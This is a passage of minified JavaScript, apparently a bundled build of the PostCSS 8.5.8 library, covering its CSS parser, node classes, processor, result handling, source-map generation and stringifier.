e=\"\\n\";this.css.includes(\"\\r\\n\")&&(e=\"\\r\\n\"),this.css+=e+\"/*# sourceMappingURL=\"+t+\" */\"}applyPrevMaps(){for(let t of this.previous()){let e,r=this.toUrl(this.path(t.file)),i=t.root||n(t.file);!1===this.mapOpts.sourcesContent?(e=new a(t.text),e.sourcesContent&&(e.sourcesContent=null)):e=t.consumer(),this.map.applySourceMap(e,r,this.toUrl(this.path(i)))}}clearAnnotation(){if(!1!==this.mapOpts.annotation)if(this.root){let t;for(let e=this.root.nodes.length-1;e>=0;e--)t=this.root.nodes[e],\"comment\"===t.type&&t.text.startsWith(\"# sourceMappingURL=\")&&this.root.removeChild(e)}else if(this.css){let t;for(;-1!==(t=this.css.lastIndexOf(\"/*#\"));){let e=this.css.indexOf(\"*/\",t+3);if(-1===e)break;for(;t>0&&\"\\n\"===this.css[t-1];)t--;this.css=this.css.slice(0,t)+this.css.slice(e+2)}}}generate(){if(this.clearAnnotation(),p&&d&&this.isMap())return this.generateMap();{let t=\"\";return this.stringify(this.root,e=>{t+=e}),[t]}}generateMap(){if(this.root)this.generateString();else if(1===this.previous().length){let t=this.previous()[0].consumer();t.file=this.outputFile(),this.map=l.fromSourceMap(t,{ignoreInvalidMapping:!0})}else this.map=new l({file:this.outputFile(),ignoreInvalidMapping:!0}),this.map.addMapping({generated:{column:0,line:1},original:{column:0,line:1},source:this.opts.from?this.toUrl(this.path(this.opts.from)):\"<no source>\"});return this.isSourcesContent()&&this.setSourcesContent(),this.root&&this.previous().length>0&&this.applyPrevMaps(),this.isAnnotation()&&this.addAnnotation(),this.isInline()?[this.css]:[this.css,this.map]}generateString(){this.css=\"\",this.map=new l({file:this.outputFile(),ignoreInvalidMapping:!0});let t,e,r=1,n=1,i=\"<no source>\",o={generated:{column:0,line:0},original:{column:0,line:0},source:\"\"};this.stringify(this.root,(s,a,l)=>{if(this.css+=s,a&&\"end\"!==l&&(o.generated.line=r,o.generated.column=n-1,a.source&&a.source.start?(o.source=this.sourcePath(a),o.original.line=a.source.start.line,o.original.column=a.source.start.column-1,this.map.addMapping(o)):(o.source=i,o.original.line=1,o.original.column=0,this.map.addMapping(o))),e=s.match(/\\n/g),e?(r+=e.length,t=s.lastIndexOf(\"\\n\"),n=s.length-t):n+=s.length,a&&\"start\"!==l){let t=a.parent||{raws:{}};(\"decl\"===a.type||\"atrule\"===a.type&&!a.nodes)&&a===t.last&&!t.raws.semicolon||(a.source&&a.source.end?(o.source=this.sourcePath(a),o.original.line=a.source.end.line,o.original.column=a.source.end.column-1,o.generated.line=r,o.generated.column=n-2,this.map.addMapping(o)):(o.source=i,o.original.line=1,o.original.column=0,o.generated.line=r,o.generated.column=n-1,this.map.addMapping(o)))}})}isAnnotation(){return!!this.isInline()||(void 0!==this.mapOpts.annotation?this.mapOpts.annotation:!this.previous().length||this.previous().some(t=>t.annotation))}isInline(){if(void 0!==this.mapOpts.inline)return this.mapOpts.inline;let t=this.mapOpts.annotation;return(void 0===t||!0===t)&&(!this.previous().length||this.previous().some(t=>t.inline))}isMap(){return void 0!==this.opts.map?!!this.opts.map:this.previous().length>0}isSourcesContent(){return void 0!==this.mapOpts.sourcesContent?this.mapOpts.sourcesContent:!this.previous().length||this.previous().some(t=>t.withContent())}outputFile(){return this.opts.to?this.path(this.opts.to):this.opts.from?this.path(this.opts.from):\"to.css\"}path(t){if(this.mapOpts.absolute)return t;if(60===t.charCodeAt(0))return t;if(/^\\w+:\\/\\//.test(t))return t;let e=this.memoizedPaths.get(t);if(e)return e;let r=this.opts.to?n(this.opts.to):\".\";\"string\"==typeof this.mapOpts.annotation&&(r=n(o(r,this.mapOpts.annotation)));let s=i(r,t);return this.memoizedPaths.set(t,s),s}previous(){if(!this.previousMaps)if(this.previousMaps=[],this.root)this.root.walk(t=>{if(t.source&&t.source.input.map){let e=t.source.input.map;this.previousMaps.includes(e)||this.previousMaps.push(e)}});else{let t=new u(this.originalCSS,this.opts);t.map&&this.previousMaps.push(t.map)}return this.previousMaps}setSourcesContent(){let t={};if(this.root)this.root.walk(e=>{if(e.source){let r=e.source.input.from;if(r&&!t[r]){t[r]=!0;let n=this.usesFileUrls?this.toFileUrl(r):this.toUrl(this.path(r));this.map.setSourceContent(n,e.source.input.css)}}});else if(this.css){let t=this.opts.from?this.toUrl(this.path(this.opts.from)):\"<no source>\";this.map.setSourceContent(t,this.css)}}sourcePath(t){return this.mapOpts.from?this.toUrl(this.mapOpts.from):this.usesFileUrls?this.toFileUrl(t.source.input.from):this.toUrl(this.path(t.source.input.from))}toBase64(t){return Buffer?Buffer.from(t).toString(\"base64\"):window.btoa(unescape(encodeURIComponent(t)))}toFileUrl(t){let e=this.memoizedFileURLs.get(t);if(e)return e;if(c){let e=c(t).toString();return this.memoizedFileURLs.set(t,e),e}throw new Error(\"`map.absolute` option is not available in this PostCSS build\")}toUrl(t){let e=this.memoizedURLs.get(t);if(e)return e;\"\\\\\"===s&&(t=t.replace(/\\\\/g,\"/\"));let r=encodeURI(t).replace(/[#?]/g,encodeURIComponent);return this.memoizedURLs.set(t,r),r}}},4211(t,e,r){\"use strict\";let n=r(3604),i=r(9577);const o=r(3717);let s=r(3303);r(6156);class a{get content(){return this.result.css}get css(){return this.result.css}get map(){return this.result.map}get messages(){return[]}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){if(this._root)return this._root;let t,e=i;try{t=e(this._css,this._opts)}catch(t){this.error=t}if(this.error)throw this.error;return this._root=t,t}get[Symbol.toStringTag](){return\"NoWorkResult\"}constructor(t,e,r){e=e.toString(),this.stringified=!1,this._processor=t,this._css=e,this._opts=r,this._map=void 0;let i=s;this.result=new o(this._processor,void 0,this._opts),this.result.css=e;let a=this;Object.defineProperty(this.result,\"root\",{get:()=>a.root});let l=new n(i,void 0,this._opts,e);if(l.isMap()){let[t,e]=l.generate();t&&(this.result.css=t),e&&(this.result.map=e)}else l.clearAnnotation(),this.result.css=l.css}async(){return this.error?Promise.reject(this.error):Promise.resolve(this.result)}catch(t){return this.async().catch(t)}finally(t){return this.async().then(t,t)}sync(){if(this.error)throw this.error;return this.result}then(t,e){return this.async().then(t,e)}toString(){return this._css}warnings(){return[]}}t.exports=a,a.default=a},3152(t,e,r){\"use strict\";let n=r(3614),i=r(7668),o=r(3303),{isClean:s,my:a}=r(4151);function l(t,e){let r=new t.constructor;for(let n in t){if(!Object.prototype.hasOwnProperty.call(t,n))continue;if(\"proxyCache\"===n)continue;let i=t[n],o=typeof i;\"parent\"===n&&\"object\"===o?e&&(r[n]=e):\"source\"===n?r[n]=i:Array.isArray(i)?r[n]=i.map(t=>l(t,r)):(\"object\"===o&&null!==i&&(i=l(i)),r[n]=i)}return r}function c(t,e){if(e&&void 0!==e.offset)return e.offset;let r=1,n=1,i=0;for(let o=0;o<t.length;o++){if(n===e.line&&r===e.column){i=o;break}\"\\n\"===t[o]?(r=1,n+=1):r+=1}return i}class u{get proxyOf(){return this}constructor(t={}){this.raws={},this[s]=!1,this[a]=!0;for(let e in t)if(\"nodes\"===e){this.nodes=[];for(let r of t[e])\"function\"==typeof r.clone?this.append(r.clone()):this.append(r)}else this[e]=t[e]}addToError(t){if(t.postcssNode=this,t.stack&&this.source&&/\\n\\s{4}at /.test(t.stack)){let e=this.source;t.stack=t.stack.replace(/\\n\\s{4}at /,`$&${e.input.from}:${e.start.line}:${e.start.column}$&`)}return t}after(t){return this.parent.insertAfter(this,t),this}assign(t={}){for(let e in t)this[e]=t[e];return this}before(t){return this.parent.insertBefore(this,t),this}cleanRaws(t){delete this.raws.before,delete this.raws.after,t||delete this.raws.between}clone(t={}){let e=l(this);for(let r in t)e[r]=t[r];return e}cloneAfter(t={}){let e=this.clone(t);return this.parent.insertAfter(this,e),e}cloneBefore(t={}){let e=this.clone(t);return this.parent.insertBefore(this,e),e}error(t,e={}){if(this.source){let{end:r,start:n}=this.rangeBy(e);return this.source.input.error(t,{column:n.column,line:n.line},{column:r.column,line:r.line},e)}return new n(t)}getProxyProcessor(){return{get:(t,e)=>\"proxyOf\"===e?t:\"root\"===e?()=>t.root().toProxy():t[e],set:(t,e,r)=>(t[e]===r||(t[e]=r,\"prop\"!==e&&\"value\"!==e&&\"name\"!==e&&\"params\"!==e&&\"important\"!==e&&\"text\"!==e||t.markDirty()),!0)}}markClean(){this[s]=!0}markDirty(){if(this[s]){this[s]=!1;let t=this;for(;t=t.parent;)t[s]=!1}}next(){if(!this.parent)return;let t=this.parent.index(this);return this.parent.nodes[t+1]}positionBy(t={}){let e=this.source.start;if(t.index)e=this.positionInside(t.index);else if(t.word){let r=\"document\"in this.source.input?this.source.input.document:this.source.input.css,n=r.slice(c(r,this.source.start),c(r,this.source.end)).indexOf(t.word);-1!==n&&(e=this.positionInside(n))}return e}positionInside(t){let e=this.source.start.column,r=this.source.start.line,n=\"document\"in this.source.input?this.source.input.document:this.source.input.css,i=c(n,this.source.start),o=i+t;for(let t=i;t<o;t++)\"\\n\"===n[t]?(e=1,r+=1):e+=1;return{column:e,line:r,offset:o}}prev(){if(!this.parent)return;let t=this.parent.index(this);return this.parent.nodes[t-1]}rangeBy(t={}){let e=\"document\"in this.source.input?this.source.input.document:this.source.input.css,r={column:this.source.start.column,line:this.source.start.line,offset:c(e,this.source.start)},n=this.source.end?{column:this.source.end.column+1,line:this.source.end.line,offset:\"number\"==typeof this.source.end.offset?this.source.end.offset:c(e,this.source.end)+1}:{column:r.column+1,line:r.line,offset:r.offset+1};if(t.word){let i=e.slice(c(e,this.source.start),c(e,this.source.end)).indexOf(t.word);-1!==i&&(r=this.positionInside(i),n=this.positionInside(i+t.word.length))}else t.start?r={column:t.start.column,line:t.start.line,offset:c(e,t.start)}:t.index&&(r=this.positionInside(t.index)),t.end?n={column:t.end.column,line:t.end.line,offset:c(e,t.end)}:\"number\"==typeof t.endIndex?n=this.positionInside(t.endIndex):t.index&&(n=this.positionInside(t.index+1));return(n.line<r.line||n.line===r.line&&n.column<=r.column)&&(n={column:r.column+1,line:r.line,offset:r.offset+1}),{end:n,start:r}}raw(t,e){return(new i).raw(this,t,e)}remove(){return this.parent&&this.parent.removeChild(this),this.parent=void 0,this}replaceWith(...t){if(this.parent){let e=this,r=!1;for(let n of t)n===this?r=!0:r?(this.parent.insertAfter(e,n),e=n):this.parent.insertBefore(e,n);r||this.remove()}return this}root(){let t=this;for(;t.parent&&\"document\"!==t.parent.type;)t=t.parent;return t}toJSON(t,e){let r={},n=null==e;e=e||new Map;let i=0;for(let t in this){if(!Object.prototype.hasOwnProperty.call(this,t))continue;if(\"parent\"===t||\"proxyCache\"===t)continue;let n=this[t];if(Array.isArray(n))r[t]=n.map(t=>\"object\"==typeof t&&t.toJSON?t.toJSON(null,e):t);else if(\"object\"==typeof n&&n.toJSON)r[t]=n.toJSON(null,e);else if(\"source\"===t){if(null==n)continue;let o=e.get(n.input);null==o&&(o=i,e.set(n.input,i),i++),r[t]={end:n.end,inputId:o,start:n.start}}else r[t]=n}return n&&(r.inputs=[...e.keys()].map(t=>t.toJSON())),r}toProxy(){return this.proxyCache||(this.proxyCache=new Proxy(this,this.getProxyProcessor())),this.proxyCache}toString(t=o){t.stringify&&(t=t.stringify);let e=\"\";return t(this,t=>{e+=t}),e}warn(t,e,r={}){let n={node:this};for(let t in r)n[t]=r[t];return t.warn(e,n)}}t.exports=u,u.default=u},9577(t,e,r){\"use strict\";let n=r(7793),i=r(1106),o=r(8339);function s(t,e){let r=new i(t,e),n=new o(r);try{n.parse()}catch(t){throw t}return n.root}t.exports=s,s.default=s,n.registerParse(s)},8339(t,e,r){\"use strict\";let n=r(396),i=r(9371),o=r(5238),s=r(5644),a=r(1534),l=r(5781);const c={empty:!0,space:!0};t.exports=class{constructor(t){this.input=t,this.root=new s,this.current=this.root,this.spaces=\"\",this.semicolon=!1,this.createTokenizer(),this.root.source={input:t,start:{column:1,line:1,offset:0}}}atrule(t){let e,r,i,o=new n;o.name=t[1].slice(1),\"\"===o.name&&this.unnamedAtrule(o,t),this.init(o,t[2]);let s=!1,a=!1,l=[],c=[];for(;!this.tokenizer.endOfFile();){if(e=(t=this.tokenizer.nextToken())[0],\"(\"===e||\"[\"===e?c.push(\"(\"===e?\")\":\"]\"):\"{\"===e&&c.length>0?c.push(\"}\"):e===c[c.length-1]&&c.pop(),0===c.length){if(\";\"===e){o.source.end=this.getPosition(t[2]),o.source.end.offset++,this.semicolon=!0;break}if(\"{\"===e){a=!0;break}if(\"}\"===e){if(l.length>0){for(i=l.length-1,r=l[i];r&&\"space\"===r[0];)r=l[--i];r&&(o.source.end=this.getPosition(r[3]||r[2]),o.source.end.offset++)}this.end(t);break}l.push(t)}else l.push(t);if(this.tokenizer.endOfFile()){s=!0;break}}o.raws.between=this.spacesAndCommentsFromEnd(l),l.length?(o.raws.afterName=this.spacesAndCommentsFromStart(l),this.raw(o,\"params\",l),s&&(t=l[l.length-1],o.source.end=this.getPosition(t[3]||t[2]),o.source.end.offset++,this.spaces=o.raws.between,o.raws.between=\"\")):(o.raws.afterName=\"\",o.params=\"\"),a&&(o.nodes=[],this.current=o)}checkMissedSemicolon(t){let e=this.colon(t);if(!1===e)return;let r,n=0;for(let i=e-1;i>=0&&(r=t[i],\"space\"===r[0]||(n+=1,2!==n));i--);throw this.input.error(\"Missed semicolon\",\"word\"===r[0]?r[3]+1:r[2])}colon(t){let e,r,n,i=0;for(let[o,s]of t.entries()){if(r=s,n=r[0],\"(\"===n&&(i+=1),\")\"===n&&(i-=1),0===i&&\":\"===n){if(e){if(\"word\"===e[0]&&\"progid\"===e[1])continue;return o}this.doubleColon(r)}e=r}return!1}comment(t){let e=new i;this.init(e,t[2]),e.source.end=this.getPosition(t[3]||t[2]),e.source.end.offset++;let r=t[1].slice(2,-2);if(r.trim()){let t=r.match(/^(\\s*)([^]*\\S)(\\s*)$/);e.text=t[2],e.raws.left=t[1],e.raws.right=t[3]}else e.text=\"\",e.raws.left=r,e.raws.right=\"\"}createTokenizer(){this.tokenizer=l(this.input)}decl(t,e){let r=new o;this.init(r,t[0][2]);let n,i=t[t.length-1];for(\";\"===i[0]&&(this.semicolon=!0,t.pop()),r.source.end=this.getPosition(i[3]||i[2]||function(t){for(let e=t.length-1;e>=0;e--){let r=t[e],n=r[3]||r[2];if(n)return n}}(t)),r.source.end.offset++;\"word\"!==t[0][0];)1===t.length&&this.unknownWord(t),r.raws.before+=t.shift()[1];for(r.source.start=this.getPosition(t[0][2]),r.prop=\"\";t.length;){let e=t[0][0];if(\":\"===e||\"space\"===e||\"comment\"===e)break;r.prop+=t.shift()[1]}for(r.raws.between=\"\";t.length;){if(n=t.shift(),\":\"===n[0]){r.raws.between+=n[1];break}\"word\"===n[0]&&/\\w/.test(n[1])&&this.unknownWord([n]),r.raws.between+=n[1]}\"_\"!==r.prop[0]&&\"*\"!==r.prop[0]||(r.raws.before+=r.prop[0],r.prop=r.prop.slice(1));let s,a=[];for(;t.length&&(s=t[0][0],\"space\"===s||\"comment\"===s);)a.push(t.shift());this.precheckMissedSemicolon(t);for(let e=t.length-1;e>=0;e--){if(n=t[e],\"!important\"===n[1].toLowerCase()){r.important=!0;let n=this.stringFrom(t,e);n=this.spacesFromEnd(t)+n,\" !important\"!==n&&(r.raws.important=n);break}if(\"important\"===n[1].toLowerCase()){let n=t.slice(0),i=\"\";for(let t=e;t>0;t--){let e=n[t][0];if(i.trim().startsWith(\"!\")&&\"space\"!==e)break;i=n.pop()[1]+i}i.trim().startsWith(\"!\")&&(r.important=!0,r.raws.important=i,t=n)}if(\"space\"!==n[0]&&\"comment\"!==n[0])break}t.some(t=>\"space\"!==t[0]&&\"comment\"!==t[0])&&(r.raws.between+=a.map(t=>t[1]).join(\"\"),a=[]),this.raw(r,\"value\",a.concat(t),e),r.value.includes(\":\")&&!e&&this.checkMissedSemicolon(t)}doubleColon(t){throw this.input.error(\"Double colon\",{offset:t[2]},{offset:t[2]+t[1].length})}emptyRule(t){let e=new a;this.init(e,t[2]),e.selector=\"\",e.raws.between=\"\",this.current=e}end(t){this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.semicolon=!1,this.current.raws.after=(this.current.raws.after||\"\")+this.spaces,this.spaces=\"\",this.current.parent?(this.current.source.end=this.getPosition(t[2]),this.current.source.end.offset++,this.current=this.current.parent):this.unexpectedClose(t)}endFile(){this.current.parent&&this.unclosedBlock(),this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.current.raws.after=(this.current.raws.after||\"\")+this.spaces,this.root.source.end=this.getPosition(this.tokenizer.position())}freeSemicolon(t){if(this.spaces+=t[1],this.current.nodes){let e=this.current.nodes[this.current.nodes.length-1];e&&\"rule\"===e.type&&!e.raws.ownSemicolon&&(e.raws.ownSemicolon=this.spaces,this.spaces=\"\",e.source.end=this.getPosition(t[2]),e.source.end.offset+=e.raws.ownSemicolon.length)}}getPosition(t){let e=this.input.fromOffset(t);return{column:e.col,line:e.line,offset:t}}init(t,e){this.current.push(t),t.source={input:this.input,start:this.getPosition(e)},t.raws.before=this.spaces,this.spaces=\"\",\"comment\"!==t.type&&(this.semicolon=!1)}other(t){let e=!1,r=null,n=!1,i=null,o=[],s=t[1].startsWith(\"--\"),a=[],l=t;for(;l;){if(r=l[0],a.push(l),\"(\"===r||\"[\"===r)i||(i=l),o.push(\"(\"===r?\")\":\"]\");else if(s&&n&&\"{\"===r)i||(i=l),o.push(\"}\");else if(0===o.length){if(\";\"===r){if(n)return void this.decl(a,s);break}if(\"{\"===r)return void this.rule(a);if(\"}\"===r){this.tokenizer.back(a.pop()),e=!0;break}\":\"===r&&(n=!0)}else r===o[o.length-1]&&(o.pop(),0===o.length&&(i=null));l=this.tokenizer.nextToken()}if(this.tokenizer.endOfFile()&&(e=!0),o.length>0&&this.unclosedBracket(i),e&&n){if(!s)for(;a.length&&(l=a[a.length-1][0],\"space\"===l||\"comment\"===l);)this.tokenizer.back(a.pop());this.decl(a,s)}else this.unknownWord(a)}parse(){let t;for(;!this.tokenizer.endOfFile();)switch(t=this.tokenizer.nextToken(),t[0]){case\"space\":this.spaces+=t[1];break;case\";\":this.freeSemicolon(t);break;case\"}\":this.end(t);break;case\"comment\":this.comment(t);break;case\"at-word\":this.atrule(t);break;case\"{\":this.emptyRule(t);break;default:this.other(t)}this.endFile()}precheckMissedSemicolon(){}raw(t,e,r,n){let i,o,s,a,l=r.length,u=\"\",d=!0;for(let t=0;t<l;t+=1)i=r[t],o=i[0],\"space\"!==o||t!==l-1||n?\"comment\"===o?(a=r[t-1]?r[t-1][0]:\"empty\",s=r[t+1]?r[t+1][0]:\"empty\",c[a]||c[s]||\",\"===u.slice(-1)?d=!1:u+=i[1]):u+=i[1]:d=!1;if(!d){let n=r.reduce((t,e)=>t+e[1],\"\");t.raws[e]={raw:n,value:u}}t[e]=u}rule(t){t.pop();let e=new a;this.init(e,t[0][2]),e.raws.between=this.spacesAndCommentsFromEnd(t),this.raw(e,\"selector\",t),this.current=e}spacesAndCommentsFromEnd(t){let e,r=\"\";for(;t.length&&(e=t[t.length-1][0],\"space\"===e||\"comment\"===e);)r=t.pop()[1]+r;return r}spacesAndCommentsFromStart(t){let e,r=\"\";for(;t.length&&(e=t[0][0],\"space\"===e||\"comment\"===e);)r+=t.shift()[1];return r}spacesFromEnd(t){let e,r=\"\";for(;t.length&&(e=t[t.length-1][0],\"space\"===e);)r=t.pop()[1]+r;return r}stringFrom(t,e){let r=\"\";for(let n=e;n<t.length;n++)r+=t[n][1];return t.splice(e,t.length-e),r}unclosedBlock(){let t=this.current.source.start;throw this.input.error(\"Unclosed block\",t.line,t.column)}unclosedBracket(t){throw this.input.error(\"Unclosed bracket\",{offset:t[2]},{offset:t[2]+1})}unexpectedClose(t){throw this.input.error(\"Unexpected }\",{offset:t[2]},{offset:t[2]+1})}unknownWord(t){throw this.input.error(\"Unknown word \"+t[0][1],{offset:t[0][2]},{offset:t[0][2]+t[0][1].length})}unnamedAtrule(t,e){throw this.input.error(\"At-rule without name\",{offset:e[2]},{offset:e[2]+e[1].length})}}},2895(t,e,r){\"use strict\";let n=r(396),i=r(9371),o=r(7793),s=r(3614),a=r(5238),l=r(145),c=r(3438),u=r(1106),d=r(6966),p=r(1752),m=r(3152),h=r(9577),g=r(6846),f=r(3717),b=r(5644),A=r(1534),y=r(3303),v=r(38);function x(...t){return 1===t.length&&Array.isArray(t[0])&&(t=t[0]),new g(t)}x.plugin=function(t,e){let r,n=!1;function i(...r){console&&console.warn&&!n&&(n=!0,console.warn(t+\": postcss.plugin was deprecated. Migration guide:\\nhttps://evilmartians.com/chronicles/postcss-8-plugin-migration\"),process.env.LANG&&process.env.LANG.startsWith(\"cn\")&&console.warn(t+\": 里面 postcss.plugin 被弃用. 迁移指南:\\nhttps://www.w3ctech.com/topic/2226\"));let i=e(...r);return i.postcssPlugin=t,i.postcssVersion=(new g).version,i}return Object.defineProperty(i,\"postcss\",{get:()=>(r||(r=i()),r)}),i.process=function(t,e,r){return x([i(r)]).process(t,e)},i},x.stringify=y,x.parse=h,x.fromJSON=c,x.list=p,x.comment=t=>new i(t),x.atRule=t=>new n(t),x.decl=t=>new a(t),x.rule=t=>new A(t),x.root=t=>new b(t),x.document=t=>new l(t),x.CssSyntaxError=s,x.Declaration=a,x.Container=o,x.Processor=g,x.Document=l,x.Comment=i,x.Warning=v,x.AtRule=n,x.Result=f,x.Input=u,x.Rule=A,x.Root=b,x.Node=m,d.registerPostcss(x),t.exports=x,x.default=x},3878(t,e,r){\"use strict\";let{existsSync:n,readFileSync:i}=r(9977),{dirname:o,join:s}=r(197),{SourceMapConsumer:a,SourceMapGenerator:l}=r(1866);class c{constructor(t,e){if(!1===e.map)return;this.loadAnnotation(t),this.inline=this.startWith(this.annotation,\"data:\");let r=e.map?e.map.prev:void 0,n=this.loadMap(e.from,r);!this.mapFile&&e.from&&(this.mapFile=e.from),this.mapFile&&(this.root=o(this.mapFile)),n&&(this.text=n)}consumer(){return this.consumerCache||(this.consumerCache=new a(this.text)),this.consumerCache}decodeInline(t){let e=t.match(/^data:application\\/json;charset=utf-?8,/)||t.match(/^data:application\\/json,/);if(e)return decodeURIComponent(t.substr(e[0].length));let r=t.match(/^data:application\\/json;charset=utf-?8;base64,/)||t.match(/^data:application\\/json;base64,/);if(r)return n=t.substr(r[0].length),Buffer?Buffer.from(n,\"base64\").toString():window.atob(n);var n;let i=t.match(/data:application\\/json;([^,]+),/)[1];throw new Error(\"Unsupported source map encoding \"+i)}getAnnotationURL(t){return t.replace(/^\\/\\*\\s*# sourceMappingURL=/,\"\").trim()}isMap(t){return\"object\"==typeof t&&(\"string\"==typeof t.mappings||\"string\"==typeof t._mappings||Array.isArray(t.sections))}loadAnnotation(t){let e=t.match(/\\/\\*\\s*# sourceMappingURL=/g);if(!e)return;let r=t.lastIndexOf(e.pop()),n=t.indexOf(\"*/\",r);r>-1&&n>-1&&(this.annotation=this.getAnnotationURL(t.substring(r,n)))}loadFile(t){if(this.root=o(t),n(t))return this.mapFile=t,i(t,\"utf-8\").toString().trim()}loadMap(t,e){if(!1===e)return!1;if(e){if(\"string\"==typeof e)return e;if(\"function\"!=typeof e){if(e instanceof a)return l.fromSourceMap(e).toString();if(e instanceof l)return e.toString();if(this.isMap(e))return JSON.stringify(e);throw new Error(\"Unsupported previous source map format: \"+e.toString())}{let r=e(t);if(r){let t=this.loadFile(r);if(!t)throw new Error(\"Unable to load previous source map: \"+r.toString());return t}}}else{if(this.inline)return this.decodeInline(this.annotation);if(this.annotation){let e=this.annotation;return t&&(e=s(o(t),e)),this.loadFile(e)}}}startWith(t,e){return!!t&&t.substr(0,e.length)===e}withContent(){return!!(this.consumer().sourcesContent&&this.consumer().sourcesContent.length>0)}}t.exports=c,c.default=c},6846(t,e,r){\"use strict\";let n=r(145),i=r(6966),o=r(4211),s=r(5644);class a{constructor(t=[]){this.version=\"8.5.8\",this.plugins=this.normalize(t)}normalize(t){let e=[];for(let r of t)if(!0===r.postcss?r=r():r.postcss&&(r=r.postcss),\"object\"==typeof r&&Array.isArray(r.plugins))e=e.concat(r.plugins);else if(\"object\"==typeof r&&r.postcssPlugin)e.push(r);else if(\"function\"==typeof r)e.push(r);else{if(\"object\"!=typeof r||!r.parse&&!r.stringify)throw new Error(r+\" is not a PostCSS plugin\")}return e}process(t,e={}){return this.plugins.length||e.parser||e.stringifier||e.syntax?new i(this,t,e):new o(this,t,e)}use(t){return this.plugins=this.plugins.concat(this.normalize([t])),this}}t.exports=a,a.default=a,s.registerProcessor(a),n.registerProcessor(a)},3717(t,e,r){\"use strict\";let n=r(38);class i{get content(){return this.css}constructor(t,e,r){this.processor=t,this.messages=[],this.root=e,this.opts=r,this.css=\"\",this.map=void 0}toString(){return this.css}warn(t,e={}){e.plugin||this.lastPlugin&&this.lastPlugin.postcssPlugin&&(e.plugin=this.lastPlugin.postcssPlugin);let r=new n(t,e);return this.messages.push(r),r}warnings(){return this.messages.filter(t=>\"warning\"===t.type)}}t.exports=i,i.default=i},5644(t,e,r){\"use strict\";let n,i,o=r(7793);class s extends o{constructor(t){super(t),this.type=\"root\",this.nodes||(this.nodes=[])}normalize(t,e,r){let n=super.normalize(t);if(e)if(\"prepend\"===r)this.nodes.length>1?e.raws.before=this.nodes[1].raws.before:delete e.raws.before;else if(this.first!==e)for(let t of n)t.raws.before=e.raws.before;return n}removeChild(t,e){let r=this.index(t);return!e&&0===r&&this.nodes.length>1&&(this.nodes[1].raws.before=this.nodes[r].raws.before),super.removeChild(t)}toResult(t={}){return new n(new i,this,t).stringify()}}s.registerLazyResult=t=>{n=t},s.registerProcessor=t=>{i=t},t.exports=s,s.default=s,o.registerRoot(s)},1534(t,e,r){\"use strict\";let n=r(7793),i=r(1752);class o extends n{get selectors(){return i.comma(this.selector)}set selectors(t){let e=this.selector?this.selector.match(/,\\s*/):null,r=e?e[0]:\",\"+this.raw(\"between\",\"beforeOpen\");this.selector=t.join(r)}constructor(t){super(t),this.type=\"rule\",this.nodes||(this.nodes=[])}}t.exports=o,o.default=o,n.registerRule(o)},7668(t){\"use strict\";const e={after:\"\\n\",beforeClose:\"\\n\",beforeComment:\"\\n\",beforeDecl:\"\\n\",beforeOpen:\" \",beforeRule:\"\\n\",colon:\": \",commentLeft:\" \",commentRight:\" \",emptyBody:\"\",indent:\"    \",semicolon:!1};class r{constructor(t){this.builder=t}atrule(t,e){let r=\"@\"+t.name,n=t.params?this.rawValue(t,\"params\"):\"\";if(void 0!==t.raws.afterName?r+=t.raws.afterName:n&&(r+=\" \"),t.nodes)this.block(t,r+n);else{let i=(t.raws.between||\"\")+(e?\";\":\"\");this.builder(r+n+i,t)}}beforeAfter(t,e){let r;r=\"decl\"===t.type?this.raw(t,null,\"beforeDecl\"):\"comment\"===t.type?this.raw(t,null,\"beforeComment\"):\"before\"===e?this.raw(t,null,\"beforeRule\"):this.raw(t,null,\"beforeClose\");let n=t.parent,i=0;for(;n&&\"root\"!==n.type;)i+=1,n=n.parent;if(r.includes(\"\\n\")){let e=this.raw(t,null,\"indent\");if(e.length)for(let t=0;t<i;t++)r+=e}return r}block(t,e){let r,n=this.raw(t,\"between\",\"beforeOpen\");this.builder(e+n+\"{\",t,\"start\"),t.nodes&&t.nodes.length?(this.body(t),r=this.raw(t,\"after\")):r=this.raw(t,\"after\",\"emptyBody\"),r&&this.builder(r),this.builder(\"}\",t,\"end\")}body(t){let e=t.nodes.length-1;for(;e>0&&\"comment\"===t.nodes[e].type;)e-=1;let r=this.raw(t,\"semicolon\");for(let n=0;n<t.nodes.length;n++){let i=t.nodes[n],o=this.raw(i,\"before\");o&&this.builder(o),this.stringify(i,e!==n||r)}}comment(t){let e=this.raw(t,\"left\",\"commentLeft\"),r=this.raw(t,\"right\",\"commentRight\");this.builder(\"/*\"+e+t.text+r+\"*/\",t)}decl(t,e){let r=this.raw(t,\"between\",\"colon\"),n=t.prop+r+this.rawValue(t,\"value\");t.important&&(n+=t.raws.important||\" !important\"),e&&(n+=\";\"),this.builder(n,t)}document(t){this.body(t)}raw(t,r,n){let i;if(n||(n=r),r&&(i=t.raws[r],void 0!==i))return i;let o=t.parent;if(\"before\"===n){if(!o||\"root\"===o.type&&o.first===t)return\"\";if(o&&\"document\"===o.type)return\"\"}if(!o)return e[n];let s=t.root();if(s.rawCache||(s.rawCache={}),void 0!==s.rawCache[n])return s.rawCache[n];if(\"before\"===n||\"after\"===n)return this.beforeAfter(t,n);{let e=\"raw\"+((a=n)[0].toUpperCase()+a.slice(1));this[e]?i=this[e](s,t):s.walk(t=>{if(i=t.raws[r],void 0!==i)return!1})}var a;return void 0===i&&(i=e[n]),s.rawCache[n]=i,i}rawBeforeClose(t){let e;return t.walk(t=>{if(t.nodes&&t.nodes.length>0&&void 0!==t.raws.after)return e=t.raws.after,e.includes(\"\\n\")&&(e=e.replace(/[^\\n]+$/,\"\")),!1}),e&&(e=e.replace(/\\S/g,\"\")),e}rawBeforeComment(t,e){let r;return t.walkComments(t=>{if(void 0!==t.raws.before)return r=t.raws.before,r.includes(\"\\n\")&&(r=r.replace(/[^\\n]+$/,\"\")),!1}),void 0===r?r=this.raw(e,null,\"beforeDecl\"):r&&(r=r.replace(/\\S/g,\"\")),r}rawBeforeDecl(t,e){let r;return t.walkDecls(t=>{if(void 0!==t.raws.before)return r=t.raws.before,r.includes(\"\\n\")&&(r=r.replace(/[^\\n]+$/,\"\")),!1}),void 0===r?r=this.raw(e,null,\"beforeRule\"):r&&(r=r.replace(/\\S/g,\"\")),r}rawBeforeOpen(t){let e;return t.walk(t=>{if(\"decl\"!==t.type&&(e=t.raws.between,void 0!==e))return!1}),e}rawBeforeRule(t){let e;return 